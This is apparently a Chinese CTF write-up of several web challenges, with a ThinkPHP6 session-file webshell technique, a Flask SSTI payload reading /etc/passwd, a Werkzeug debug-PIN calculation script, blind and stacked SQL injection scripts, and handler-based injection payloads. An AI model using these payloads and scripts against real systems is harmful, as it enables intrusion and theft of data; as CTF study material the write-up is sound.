目录
easy_thinking
TP6 的一个漏洞，由于网站给所有未登陆的用户也会发 session，而登陆之后服务器会继续用这个 session_id 对用户进行区分，由于这个过程服务器没有检查 session_id 否合法，且在接下来服务的过程中会把 session_id 当做文件名来存储用户信息，这样就为 getshell 提供了可能性。
由于 tp6 还是会判断 session 长度是否合法，因此在未登录状态下将 session 最后四位修改为 .php，登录后在搜索框直接搜索一句话，再访问 /runtime/session/ 即可看到我们写入的一句话。
用菜刀直接连接，发现 200 无法执行，仔细看一下报错，看起来下一步是要 bypass disable_function，再看看 phpinfo，发现 allow_url_fopen 开着，不可以远程文件包含，但是可以远程下载文件。
用 copy 函数远程下载下 exp，把 exp 的参数改成 /readflag 就可以 getflag。
FLASK APP
网站会输出 base64 decode 出来的内容，搜到了一个 flask 的 ssti payload，发现可以直接用：
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
但是直接读 flag 会被 waf 拦截，用字符串拼接一下发现没有 /flag 文件，因此这个题应该是伪造 pin 码，关于 flask 的 pin 码安全，这篇文章讲的十分详细，简单来说，pin 码就是由几个主机的信息 md5 后稍加变化得来的，因此只要确定计算机用户名、modname（默认flask.app）、appname（默认 Flask）、网站绝对路径、主机 mac 地址 、主机 machine id 这几项即可用网上找到的脚本算出pin码：
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb',#
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
# str(uuid.getnode()), /sys/class/net/ens33/address /sys/class/net/eth0/address
'2485377957898',
# get_machine_id(), /etc/machin-id /proc/self/cgroup 6afeacdf-afcf-4552-8502-719172374dda
'3c7c60af8484830ab0b1e9615fada4e74d93a8a111baa4afcd949feeab56c320'
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
算出 pin 码开启调试模式即可获得 flag。
不得不说这次比赛注入题是真的多，Day2 上来仨盲注直接人都注傻了，把脚本放上来懒得写wp了。
盲注
不能有等号大于小于等操作符，考虑regexp盲注，直接跑脚本：
# Author : imagin
# blind_exp.py
import requests
import time
import string
url = "http://20a93bf7e9894f8c8a22fd0f2cbf83b515a7622554fc4c2b.changame.ichunqiu.com/"
alpha = string.ctfset
res = ""
s = requests.session()
for index in range(50):
for a in alpha:
payload = "2 or if(substr(fl4g,{},1) regexp \"^{}\",sleep(3),1)".format(f"{index}", a)
data = {"id" : payload}
try:
re1 = requests.get(url, params=data, timeout=3)
except Exception as e:
res += a
print(res)
break
easysqli_copy
宽字节 bypass 引号，没 ban 分号，用 set + prepare + execute 堆叠注入执行 sql，用 concat 拼出sql语句，由于会自动转移，中间还得加一个 char()，最后 or 1=’1 闭合后引号。
# Author : imagin
# Ezsqli_copy.py
import requests
import string
alpha = string.ascii_letters + string.digits + "{}-=_+"
url = ''
res = ''
for i in range(1,50):
for a in alpha:
t1 = 'select if(ascii(substr((select fllllll4g from table1),{},1))={},sleep(10),1)'.format(i,ord(a))
t2 = ''
for k in t1:
t2 += 'char({}),'.format(ord(k))
t3 = "set @t1=concat({});PREPARE t2 FROM @t1;EXECUTE t2;||{}%271{}%27={}%271".format(t2[:-1],"%df","%df","%df")
payload = '?id=1{}%27;{}'.format('%df',t3)
try:
re1 = requests.get(url + payload, timeout=3)
except Exception as e:
res += a
print(res)
break
Black_list
随便注改的题，但是堆叠注入的一套都被 ban 了，show 只能爆出表名列名，最后有师傅提醒用 handler 代替 select，payloads：
1'; show tables#
1'; show columns from FlagHere#
1'; handler FlagHere open; handler FlagHere read first;
还剩下几题的wp没写完 先咕咕咕